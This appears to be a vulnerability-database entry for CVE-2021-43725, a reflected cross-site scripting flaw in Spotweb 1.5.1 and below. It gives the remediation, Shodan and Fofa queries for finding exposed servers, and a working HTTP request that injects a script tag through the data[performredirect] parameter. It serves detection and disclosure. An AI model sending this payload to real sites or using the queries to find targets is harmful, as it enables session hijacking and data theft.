🔙 목록으로 돌아가기

CVE-2021-43725: Spotweb <= 1.5.1 - Cross Site Scripting (Reflected)

TitleSpotweb <= 1.5.1 - Cross Site Scripting (Reflected)
Authortheamanrawat
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, data theft, or other attacks.
RemediationFixed in version 1.5.2
CVSS Score6.1
EPSS Score0.01081
CVE IDCVE-2021-43725
CWE IDCWE-79
Shodan Querytitle:"SpotWeb - overview"http.title:"spotweb - overview"
Fofa Querytitle="spotweb - overview"
Tags cve cve2021 xss spotweb unauth spotweb_project vuln

🔍 Vulnerability Description

There is a Cross Site Scripting (XSS) vulnerability in SpotPage_login.php of Spotweb 1.5.1 and below, which allows remote attackers to inject arbitrary web script or HTML via the data[performredirect] parameter.

🌐 HTTP Request

GET /?data[performredirect]=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&page=login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-43725.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-43725.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A